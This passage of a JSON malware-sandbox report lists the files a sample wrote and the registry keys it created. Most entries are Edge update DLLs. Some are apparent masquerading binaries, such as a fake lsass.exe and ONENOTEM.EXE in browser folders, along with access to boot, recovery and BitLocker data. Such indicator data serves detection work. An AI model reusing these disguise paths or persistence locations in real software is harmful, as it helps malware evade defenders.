andbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_sk.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_sl.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_sr.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_sv.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ta.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_te.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_th.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_tr.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_uk.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ur.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_vi.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_zh-CN.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_zh-TW.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_af.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_as.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_az.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_bn-IN.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_bs.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ca-Es-VALENCIA.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_cy.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_eu.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_fr-CA.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ga.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_gd.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_gl.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ka.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_kk.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_km.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_kok.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_lb.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_lo.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_mi.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_mk.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_mt.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ne.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_nn.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_or.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_pa.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_quz.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_sq.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_sr-Cyrl-BA.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_sr-Cyrl-RS.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_sr-Latn-RS.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_tt.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ug.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeUpdateSetup.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\EdgeUpdate\\Log\\MicrosoftEdgeUpdate.log","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\CopilotUpdate.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Windows Multimedia Platform\\a86b8ba6-bd30-fcb2-7ba8-ddfe750fa6bd","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Windows Multimedia Platform\\lsass.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\windows nt\\a86b8ba6-bd30-fcb2-7ba8-ddfe750fa6bd","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\windows nt\\ONENOTEM.EXE","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%TEMP%\\a86b8ba6-bd30-fcb2-7ba8-ddfe750fa6bd","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\ONENOTEM.EXE","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\ONENOTEM.EXE","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_dqnqpsvr.g4i.ps1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_zkczxhmf.2zi.psm1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"Volume{815ead30-0000-0000-0000-100000000000}\\Boot\\BCD","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"Volume{815ead30-0000-0000-0000-501f00000000}\\Boot\\BCD","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"GLOBALROOTC:\\Recovery\\WindowsRE\\Winre.wim","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"GLOBALROOTC:\\Recovery\\WindowsRE\\boot.sdi","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"GLOBALROOT\\device\\harddisk0\\partition1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"BitLocker\\Volume\\1\\SEI","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"BitLocker\\Volume\\1\\HEI","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"GLOBALROOT\\device\\harddisk0\\partition2","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"BitLocker\\Volume\\2\\SEI","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"BitLocker\\Volume\\2\\HEI","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"GLOBALROOT\\device\\harddisk0\\partition1\\Recovery\\WindowsRE\\Winre.wim","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"GLOBALROOT\\device\\harddisk0\\partition1\\Recovery\\WindowsRE\\boot.sdi","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\\INPROCSERVER32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\\INPROCSERVER32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{2A312136-64B5-44E1-B6A2-E6CD1130EF62}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{2A312136-64B5-44E1-B6A2-E6CD1130EF62}\\INPROCHANDLER32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{95844C8E-30F5-41EC-9EED-4F1468AD3288}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{95844C8E-30F5-41EC-9EED-4F1468AD3288}\\INPROCSERVER32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{79E0C401-B7BC-4DE5-8104-71350F3A9B67}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{79E0C401-B7BC-4DE5-8104-71350F3A9B67}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{79E0C401-B7BC-4DE5-8104-71350F3A9B67}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{3805CA06-AC83-4F00-8A02-271DCD89BDEB}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{3805CA06-AC83-4F00-8A02-271DCD89BDEB}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{3805CA06-AC83-4F00-8A02-271DCD89BDEB}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{F03ED42C-87E7-4D58-B377-065DF7AC36B2}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{F03ED42C-87E7-4D58-B377-065DF7AC36B2}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{F03ED42C-87E7-4D58-B377-065DF7AC36B2}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{C853632E-36CA-4999-B992-EC0D408CF5AB}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{C853632E-36CA-4999-B992-EC0D408CF5AB}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{C853632E-36CA-4999-B992-EC0D408CF5AB}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{60355531-5BFD-45AB-942C-7912628752C7}\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{60355531-5BFD-45AB-942C-7912628752C7}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{60355531-5BFD-45AB-942C-7912628752C7}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{7584D24A-E056-4EB1-8E7B-632F2B0ADC69}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{7584D24A-E056-4EB1-8E7B-632F2B0ADC69}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{05FE3F4D-62DA-4976-B72B-059E095ECF9E}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{05FE3F4D-62DA-4976-B72B-059E095ECF9E}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{C06EE550-7248-488E-971E-B60C0AB3A6E4}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{C06EE550-7248-488E-971E-B60C0AB3A6E4}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{A5135E58-384F-4244-9A5F-30FA9259413C}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{A5135E58-384F-4244-9A5F-30FA9259413C}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{7E29BE61-5809-443F-9B5D-CF22156694EB}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{7E29BE61-5809-443F-9B5D-CF22156694EB}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{A1CA7367-21A7-45DD-8C49-614D55CF0803}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{A1CA7367-21A7-45DD-8C49-614D55CF0803}\\NUMMETHODS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\INTERFACE\\{7B3B7A69-7D88-4847-A6BC-90E246A41F69}\\PROXYSTUBCLSID32\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKLMHKLM\\SOFTWARE\\CLASSES\\CLSID\\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\\INPROCSERVER32\\","sources":[{